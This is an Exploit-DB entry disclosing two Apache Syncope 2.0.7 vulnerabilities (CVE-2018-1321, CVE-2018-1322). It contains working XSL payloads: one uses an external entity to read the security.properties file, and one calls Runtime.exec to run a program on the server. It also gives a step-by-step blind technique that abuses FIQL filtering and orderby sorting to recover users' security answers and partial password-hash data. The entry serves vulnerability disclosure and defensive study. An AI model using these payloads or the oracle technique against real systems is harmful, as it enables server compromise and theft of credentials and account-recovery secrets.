Exploit-DB #45400
Description: Apache Syncope 2.0.7 - Remote Code Execution
Type: webapps
Platform: windows
Date: 2018-09-13
Author: Che-Chun Kuo

Exploit:
# Exploit Title: Apache Syncope 2.0.7 - Remote Code Execution
# Date: 2018-09-12
# Exploit Author: Che-Chun Kuo
# Vendor Homepage: https://syncope.apache.org/
# Software Link: http://archive.apache.org/dist/syncope/
# Version: 2.0.7
# Tested on: Windows
# Advisory: https://syncope.apache.org/security
# CVE: CVE-2018-1321, CVE-2018-1322

# Vulnerability 1: Remote code execution by users with report and template privileges
# Description: A user with access to the Reports and Templates functionality can use XSL Transformations (XSLT) 
# to perform malicious operations, including but not limited to file read, file write, and code execution. 

# Apache Syncope uses XSLT to export report data into various formats. An attacker can perform malicious 
# operations by crafting a XSL template, binding the template to a report, executing, then exporting the report. 
# The following XSL can be used to read the Syncope security.properties file or execute the Windows 
# calc program, respectively.  

READ security.properties file
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<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xsl:stylesheet [<!ENTITY file SYSTEM "..\webapps\syncope\WEB-INF\classes\security.properties">]>
<xsl:stylesheet version="1.0" 
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">&file;</xsl:template>
</xsl:stylesheet>

EXECUTE Windows calc program
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<xsl:stylesheet version="1.0" 
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"
	xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process">
    <xsl:variable name="rtobject" select="runtime:getRuntime()"/>
    <xsl:variable name="process" select="runtime:exec($rtobject,'calc')"/>
    <xsl:variable name="waiting" select="process:waitFor($process)"/>
    <xsl:value-of select="$process"/>
</xsl:stylesheet>
	
# Vulnerability 2: Information disclosure via FIQL and ORDER BY sorting
# Description: A user with entitlements to the /syncope/rest/users endpoint can recover sensitive 
# security values using the fiql and orderby parameters. 

# By default, Apache Syncope prevents sensitive values from being returned when querying 
# the /syncope/rest/users endpoint. Fields such as securityAnswers or password will always return null. 
# However the results returned can be filtered or sorted based on sensitive fields. By measuring how 
# the results are returned the values of the desired fields can be successfully recovered. The fiql parameter 
# can be used to recover full security answers, and the orderby parameter can be used to recover 
# full security answers and partial information about password hashes. 

# The fiql parameter allows filtering based on user attributes, including a user's security answer. 
# By using FIQL filters (i.e. "securityAnswer==a*", "securityAnswer==b*", etc...) a user's 
# securityAnswer can be recovered one letter at a time. 

# The orderby parameter allows sorting based on user attributes, including a user's security 
# answer and password. The following example shows how orderby sorting can be exploited. 

# User Bob exists with the security answer "test". A malicious user creates a user Alice with the 
# security answer "ta". The malicious actor then calls the /syncope/rest/users endpoint with orderby=securityAnswer".
# By sorting using the "securityAnswer" attribute, the result will have Alice sorted ahead of Bob, 
# due to the value "ta" being before the value "test". By sequentially changing Alice's security 
# question and comparing the sorted result, Bob's security answer can be recovered one letter 
# at a time. A similar technique can be used to reveal partial information about user password hashes.

Orderby Example Results: 
Alice's security answer, Order of results returned
ta, [Alice, Bob]
tb, [Alice, Bob]
tc, [Alice, Bob]
td, [Alice, Bob]
te, [Alice, Bob]
tf, [Bob, Alice]
tea, [Alice, Bob]
teb, [Alice, Bob]